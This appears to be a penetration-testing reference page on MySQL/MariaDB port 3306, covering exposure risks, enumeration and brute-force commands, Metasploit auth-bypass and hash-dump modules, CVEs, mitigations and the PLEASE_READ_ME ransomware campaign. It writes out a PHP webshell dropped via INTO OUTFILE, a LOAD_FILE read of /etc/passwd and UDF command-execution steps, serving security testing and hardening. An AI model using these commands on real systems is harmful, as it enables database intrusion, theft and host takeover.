Service:
mysqldmariadbdPercona ServerProtocol:
TCPPort:
3306Used for:
Client connections to MySQL and MariaDB relational database serversPort 3306 is the default port for MySQL (and MariaDB) database servers — the TCP port the mysqld daemon listens on for client connections carrying authentication, SQL queries, and result sets. MariaDB, MySQL’s community fork, and Percona Server are drop-in replacements that use the same port and wire protocol, so everything here applies to all three. A database should almost never be reachable from the internet, which is exactly why an exposed port 3306 is one of the highest-value findings on a network: get in, and you’re usually one or two steps from the whole application’s data — and often from code execution on the host.
Why It’s Open
MySQL is the database half of the classic LAMP/LEMP stack, so port 3306 turns up behind almost every PHP application, WordPress install, and countless backend services. In a healthy design the database sits on a private network or the same host as the app and only ever answers on localhost or an internal address. The port becomes a problem when it’s bound to 0.0.0.0 and left open to the world — a default in some container images and quick-start guides, a leftover from a debugging session, or the result of a cloud security group that’s wider than anyone intended. Where MySQL is exposed, its siblings often are too: check for PostgreSQL on port 5432, Microsoft SQL Server on 1433, Oracle on 1521, MongoDB on 27017, Redis on 6379, and the newer MySQL X Protocol on port 33060.
Common Risks
- Blank, default, or weak root password. The classic finding. A
rootaccount with no password, a well-known default, or something guessable is instant full control of every database on the server. Anonymous accounts (empty username) left over from an unhardened install are just as bad. - Exposed to the internet. MySQL was never meant to face the public network. Once 3306 is reachable, the server is subject to constant automated brute-forcing and mass-ransomware campaigns.
- Over-broad grants. Accounts defined as
user@'%'accept connections from anywhere, andGRANT ALLon*.*hands out far more than an app needs. One compromised app credential then reaches every schema. - File read and write via SQL. With the
FILEprivilege and a permissivesecure_file_priv,LOAD_FILE()reads arbitrary files off the server andSELECT ... INTO OUTFILEwrites them — a webshell if the web root is writable. - Privilege escalation to the OS. A user-defined function (UDF) loaded through the database can run OS commands as the account
mysqldruns under — historically root — turning database access into a full host compromise. - SQL injection landing here. Injection in a web app on port 80 or 443 ultimately executes against the MySQL instance on 3306, so the two findings reinforce each other.
- Cleartext by default. Unless TLS is configured and required, credentials and query data cross the network unencrypted and can be sniffed on the path.
Want to save time on reporting?
Let PentestPad generate, track, and export your reports - automatically.

Enumeration & Testing
Detect the service and grab the version banner
nmap -sV -p 3306 <target>Run the MySQL NSE scripts
nmap -p 3306 --script=mysql-info,mysql-empty-password,mysql-enum,mysql-users,mysql-databases <target>mysql-info prints the protocol/version and the password salt from the handshake; mysql-empty-password flags root/anonymous accounts with no password.
Connect with the native client
mysql -h <target> -u root -pSELECT version();SELECT user, host FROM mysql.user;SHOW DATABASES;SHOW GRANTS;Brute-force with Hydra
hydra -L users.txt -P passwords.txt mysql://<target>Metasploit modules
msfconsole -q# Version fingerprintuse auxiliary/scanner/mysql/mysql_versionset RHOSTS <target>run
# Credential brute-forceuse auxiliary/scanner/mysql/mysql_loginset RHOSTS <target>set USER_FILE users.txtset PASS_FILE passwords.txtrun
# CVE-2012-2122 auth bypass + hash dumpuse auxiliary/scanner/mysql/mysql_authbypass_hashdumpset RHOSTS <target>runPost-authentication enumeration and hash dumping
# Enumerate config, accounts, and privilegesuse auxiliary/admin/mysql/mysql_enum# Run arbitrary SQLuse auxiliary/admin/mysql/mysql_sql# Dump mysql.user password hashes for offline crackinguse auxiliary/scanner/mysql/mysql_hashdumpDumped hashes crack offline with hashcat (mode 300 for the MySQL 4.1+ SHA1(SHA1(pw)) format) or John the Ripper. Log every open instance, working credential, and dumped hash as you go so it lands in the pentest report instead of a scratch terminal.
What to Look For
| Checkpoint | What it means |
|---|---|
root login with blank/default password |
Full control of every database — critical |
| Anonymous account (empty user) accepted | Unhardened install; often read access to schemas |
Accounts defined as user@'%' |
Reachable from anywhere; over-broad by default |
FILE privilege + empty secure_file_priv |
LOAD_FILE() / INTO OUTFILE file read and write |
| Writable web root reachable from SQL | INTO OUTFILE webshell → RCE |
| Server running as root | UDF sys_exec gives command execution as root |
| Pre-5.5.24 / pre-MariaDB 5.5.23 banner | Check for CVE-2012-2122 authentication bypass |
| No TLS negotiated | Credentials and queries sniffable on the wire |
Known CVEs and Exploits
- CVE-2012-2122 — The signature MySQL flaw. In vulnerable builds (MySQL before 5.5.24 / 5.6.6, MariaDB before 5.5.23) a
memcmpreturn-value bug means roughly 1 in 256 authentication attempts with the wrong password is accepted, so repeatedly retrying logs you in as any user, includingroot. Weaponised as Metasploit’sauxiliary/scanner/mysql/mysql_authbypass_hashdump, nmap’smysql-vuln-cve2012-2122, and Exploit-DB 19092. CVSS 2.0 5.1, CWE-287. - CVE-2016-6662 — Remote root code execution / privilege escalation. An attacker with query access (including via SQL injection) can point
general_log_fileat amy.cnfand inject amalloc_libdirective, so a malicious shared library is preloaded whenmysqldrestarts — code execution as root. Affects MySQL ≤ 5.7.15, MariaDB, and Percona; Exploit-DB 40360. CVSS 3.0 9.8, CWE-264. - CVE-2016-6663 — A race condition in
REPAIR TABLEon a MyISAM table lets a low-privileged local user escalate to themysqlsystem user. Disclosed alongside 6662 and chained with it to reach root. Affects MySQL ≤ 5.7.15, MariaDB, and Percona. CVSS 3.0 7.0, CWE-362. - CVE-2021-27928 — OS command execution in MariaDB (10.2 before 10.2.37 through 10.5 before 10.5.9), Percona Server, and the MySQL
wsreppatch. ASUPER-privileged user setswsrep_provider/wsrep_notify_cmdto a malicious path, and the payload runs on the host. Exploit-DB 49765. CVSS 3.1 7.2, CWE-94.
Two of the most useful post-authentication techniques are features, not CVEs, and belong on any exposed-MySQL checklist:
- File read/write via SQL. With the
FILEprivilege and a permissivesecure_file_priv,SELECT LOAD_FILE('/etc/passwd')reads server files andSELECT '<?php system($_GET[0]); ?>' INTO OUTFILE '/var/www/html/s.php'drops a webshell where the web server can run it.sqlmap --os-shellautomates this path. - UDF privilege escalation. Uploading a compiled library (
lib_mysqludf_sys.so/raptor_udf2.c) into the plugin directory and definingsys_exec()/sys_eval()runs OS commands as themysqldaccount — root on many setups. Metasploit’sexploit/multi/mysql/mysql_udf_payloadautomates theINTO DUMPFILEbinary injection and function creation.
Mitigation
- Never expose 3306 to the internet. Bind MySQL to
localhostor an internal address (bind-address = 127.0.0.1), keep it on the app tier or a private subnet, and firewall the port to known database clients only. - Strong, unique credentials. Set a strong
rootpassword, remove anonymous accounts, and give each application its own least-privilege user scoped to the one schema it needs — no blanketGRANT ALLand norootfor app connections. - Kill the wildcard hosts. Remove or tighten
user@'%'grants so accounts only connect from the hosts they should. - Lock down file access. Set
secure_file_privto an empty/restricted directory (or disable it), don’t grantFILEunless an account truly needs it, and disableLOCAL INFILEto stop a rogue server reading client files. - Run unprivileged. Ensure
mysqldruns as the dedicatedmysqluser, never root, so a UDF or file-write can’t become instant host root. - Require TLS. Configure certificates and enforce encrypted connections so credentials and query data aren’t sniffable.
- Patch and monitor. Keep MySQL/MariaDB current (2012-2122, 2016-6662, and the
wsrepbug are all patched), and alert on repeated failed logins and new accounts.
Real-World Example
Between 2020 and 2021, Guardicore Labs tracked the PLEASE_READ_ME campaign, an opportunistic ransomware operation whose entire attack chain was “find an internet-facing MySQL server and brute-force weak credentials.” With close to five million MySQL servers exposed to the internet at the time, that was enough: the attackers archived and deleted victims’ databases, left a ransom note table demanding payment in Bitcoin, and planted a backdoor account for re-entry. By the time it was reported, the operators claimed roughly 83,000 breached servers with 250,000 databases listed for sale on a double-extortion leak site. No exploit, no CVE — just port 3306 open to the world with a guessable password. It’s the clearest possible argument for keeping databases off the public network.
FAQ
What is port 3306 used for?
Port 3306 is the default TCP port for MySQL and MariaDB database servers. Client applications connect to it to authenticate and run SQL queries. In a secure setup it’s only reachable from the application server or localhost, never the public internet.
Is port 3306 dangerous?
It is when it’s exposed. A database on the internet is constantly scanned and brute-forced, and a weak or default root password gives an attacker every database on the server — often followed by file write or command execution on the host. Port 3306 should be firewalled to trusted clients and never left open to the world.
What’s the difference between port 3306 and port 33060?
Port 3306 is the classic MySQL protocol used by almost every client and application. Port 33060 is the newer MySQL X Protocol, used by MySQL Shell and document-store/X DevAPI clients. Both should be kept off the public internet.
How do I secure or close port 3306?
Bind MySQL to localhost or an internal address, firewall 3306 to known database clients, set a strong root password, remove anonymous and user@'%' accounts, grant each app a least-privilege user, restrict secure_file_priv, require TLS, and patch. If nothing external needs the database, make sure the port isn’t reachable off-host and confirm with a rescan.
TL;DR
- Service: MySQL / MariaDB relational database (
mysqld) - Default port: 3306/TCP (MySQL X Protocol on 33060)
- Biggest risk: internet exposure with a blank/weak
rootpassword, escalating to file write and UDF command execution - Mitigation: bind to localhost/internal, firewall to trusted clients, strong least-privilege accounts, restrict file privileges, require TLS, patch